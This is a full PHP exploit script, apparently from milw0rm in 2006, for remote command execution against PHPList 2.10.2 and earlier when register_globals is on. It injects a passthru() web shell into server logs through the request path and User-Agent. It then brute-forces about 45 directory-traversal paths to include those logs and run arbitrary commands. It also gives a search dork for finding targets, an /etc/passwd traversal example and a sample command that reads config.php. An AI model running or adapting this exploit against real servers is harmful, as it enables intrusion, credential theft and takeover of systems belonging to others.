PHPList <= 2.10.2 GLOBALS[] Remote Code Execution Exploit :

Date : 2006-04-10 Author : rgod
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHPList <= 2.10.2 GLOBALS[] remote cmmnds xctn 
";
echo "by rgod [email protected]
";
echo "site: http://retrogod.altervista.org

";
echo "-> this works against register_globals=On 
";
echo "a dork: inurl:"lists/?p=subscribe" | inurl:"lists/index.php?p=subscribe"
";
echo " -ubbi phplist

";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS
";
echo "host:      target server (ip/hostname)
";
echo "path:      path to PHPList
";
echo "cmd:       a shell command
";
echo "Options:
";
echo "   -p[port]:    specify a port other than 80
";
echo "   -P[ip:port]: specify a proxy
";
echo "Examples:
";
echo "php ".$argv[0]." localhost /lists/ cat ./config/config.php
";
echo "php ".$argv[0]." localhost /lists/ ls -la -p81
";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80
";
die;
}

/*
software site: http://tincan.co.uk/phplist

description: PHPlist is a double opt-in newsletter manager. It is written in PHP
and uses an SQL database for storing the information

vulnerability:
vulnerable code in lists/index.php at lines 18-28:
...
if (isset($GLOBALS["developer_email"])) {
  error_reporting(E_ALL);
} else {
  error_reporting(0);
}
require_once dirname(__FILE__) .'/admin/commonlib/lib/magic_quotes.php';

require_once dirname(__FILE__).'/admin/init.php';
require_once dirname(__FILE__).'/admin/'.$GLOBALS["database_module"];
require_once dirname(__FILE__)."/texts/english.inc";
include_once dirname(__FILE__)."/texts/".$GLOBALS["language_module"];
...

a lack in the code:
$database_module and $language_module vars are properly initialized in
config/config.php, but... when code would use them to include files
they are called with their GLOBALS corresponding vars.
So, if register_globals = On in php.ini you can include arbitrary file from
local resources, poc:

http://[target]/[path_to_phplist]/lists/index.php?GLOBALS[developer_email]=1&GLOBALS[database_module]=../../../../../../etc/passwd

also you can turn on all php messages and warnings until language_module is
called, as you can see.
This tool inject some code in log files and try to include them to
launch commands on target machine
                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="
"; $exa.="
";}
  }
 return $exa."
".$result;
}
$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...
";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "
".$html;
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files ...
";
$CODE="<?php if(get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}echo 56789;passthru($_GET[cmd]);die;?>";
$packet="GET ".$p.$CODE." HTTP/1.0
";
$packet.="User-Agent: ".$CODE." Googlebot/2.1
";
$packet.="Host: ".$host."
";
$packet.="Connection: close

";
sendpacketii($packet);
sleep(1);

$paths=array(
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../../../../../../apache/logs/error.log",
"../../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../logs/error.log",
"../../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);

for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] Trying with: ".$paths[$i]."
";
$packet ="GET ".$p."index.php?GLOBALS[developer_email]=1&GLOBALS[database_module]=".$paths[$i];
$packet.="&GLOBALS[language_module]=".$paths[$i]."&cmd=".$cmd." HTTP/1.0
";
$packet.="User-Agent: Googlebot/2.1
";
$packet.="Host: ".$host."
";
$packet.="Connection: Close

";
sendpacketii($packet);
if (strstr($html,"56789"))
{
 $temp=explode("56789",$html);
 echo $temp[1];
 echo "
Exploit succeeded...
";
 die;
}
}
#if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-04-10]

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